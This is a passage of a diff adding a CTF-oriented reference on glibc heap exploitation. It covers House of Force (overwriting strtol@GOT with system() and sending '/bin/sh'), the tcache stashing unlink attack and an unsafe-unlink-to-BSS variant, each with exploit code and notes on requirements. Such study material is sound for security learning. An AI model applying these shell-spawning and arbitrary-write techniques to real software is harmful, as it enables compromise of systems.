+ # Step 4: Next allocation overlaps the target - write desired value
438
+ # Overwrite strtol@GOT with system() address
439
+ add_card(100, p64(libc.symbols['system']))
440
+
441
+ # Step 5: Trigger - next call to strtol(user_input) calls system(user_input)
442
+ io.sendline(b'/bin/sh')
443
+ ```
444
+
445
+ **Key insight:** House of Force requires: (1) overflow into the top chunk to control its size field, (2) a single malloc of attacker-controlled size to position the heap, (3) a subsequent allocation at the target address. Works on glibc < 2.29 where top chunk size validation was added.
446
+
447
+ ---
448
+
449
+ ## tcache Stashing Unlink Attack
450
+
451
+ **Pattern:** Exploit tcache's interaction with smallbin during `malloc()`. When tcache for a size is not full, `malloc()` from smallbin will "stash" remaining smallbin chunks into tcache. During stashing, the `bk` pointer is followed without full validation, allowing arbitrary address to be linked into tcache.
452
+
453
+ ```python
454
+ # Setup: Need 7 chunks in tcache (to later drain) + 2 in smallbin
455
+ # The 2nd smallbin chunk has corrupted bk → target address
456
+
457
+ # Step 1: Fill tcache with 7 chunks, then free 2 more into smallbin
458
+ for i in range(7):
459
+ free(tcache_chunks[i])
460
+ # These two go to unsorted → smallbin after sorting
461
+ free(smallbin_chunk_1)
462
+ free(smallbin_chunk_2)
463
+ malloc(large) # Sort unsorted bin → chunks enter smallbin
464
+
465
+ # Step 2: Drain tcache
466
+ for i in range(7):
467
+ malloc(target_size)
468
+
469
+ # Step 3: Corrupt smallbin_chunk_2->bk to point to (target_addr - 0x10)
470
+ # target_addr - 0x10 because tcache stores user data pointer at chunk+0x10
471
+ edit_after_free(smallbin_chunk_2, bk=target_addr - 0x10)
472
+
473
+ # Step 4: Allocate from smallbin
474
+ # malloc returns smallbin_chunk_1
475
+ # Stashing mechanism follows bk chain:
476
+ # smallbin_chunk_2 gets stashed into tcache
477
+ # Then follows corrupted bk → target gets stashed into tcache too!
478
+ malloc(target_size)
479
+
480
+ # Step 5: Next two mallocs: first returns smallbin_chunk_2, second returns target
481
+ malloc(target_size) # Returns chunk_2
482
+ malloc(target_size) # Returns target_addr → arbitrary write!
483
+ ```
484
+
485
+ **Key insight:** During stashing, glibc sets `bck->fd = bin` (where `bck = victim->bk`), effectively writing a main_arena pointer to `target_addr`. This is a powerful write-what-where primitive. The written value is a heap/libc address (not fully controlled), but it's enough to corrupt FILE structures, tcache metadata, or other heap state.
486
+
487
+ **Requirements:** glibc 2.29+ (tcache + smallbin interaction). Ability to corrupt a freed smallbin chunk's `bk` pointer.
488
+
489
+ ---
490
+
491
+ ## Unsafe Unlink to BSS + Top Chunk Consolidation (SECCON 2016)
492
+
493
+ **Pattern:** After a classic unsafe unlink writes a self-referential pointer into a BSS note table, craft a second fake chunk in BSS whose size spans from the BSS address to the heap's top chunk: `size = (heap_top_addr - bss_fake_addr) | PREV_INUSE`. Freeing this fake chunk consolidates it with the top chunk, effectively relocating the heap's allocation base into BSS. Subsequent malloc calls return memory overlapping the global pointer table, granting arbitrary read/write.
494
+
495
+ ```python
496
+ # Step 1: Unsafe unlink places self-pointer at bss_table[3]
497
+ # Fake chunk: fd = &bss_table[3] - 0x18, bk = &bss_table[3] - 0x10
498
+ add_memo(248, p64(0) + p64(0) + p64(bss_table + 0x100 + 8 - 24) +
499
+ p64(bss_table + 0x100 + 8 - 16) + b'A' * 208 + p64(prev_size))
500
+
501
+ # Step 2: Fake BSS chunk with size spanning to top chunk
502
+ fake_size = heap_base + 0x310 - bss_addr + 0x1 # | PREV_INUSE
503
+ edit_memo(3, b'A' * (256-32) + p64(prev_size) + p64(fake_size) + b'A' * 15)
504
+ delete_memo(1) # consolidation moves top chunk to BSS
505
+
506
+ # Step 3: malloc now returns BSS memory — overwrite global pointers
507
+ add_memo(size, p64(environ_addr)) # write &environ into note slot
508
+ # read_memo leaks stack address from environ
509
+ ```
510
+
511
+ **Key insight:** Standard unsafe unlink gives a single write primitive. This variant extends it to full arbitrary read/write by weaponizing the top chunk consolidation: any subsequent `malloc` returns BSS-overlapping memory, turning one write into unlimited controlled allocations within the global data segment.
512
+
513
+ For CTF-specific UAF, tcache, and custom-allocator writeup variants, continue in [heap-techniques-2.md](heap-techniques-2.md).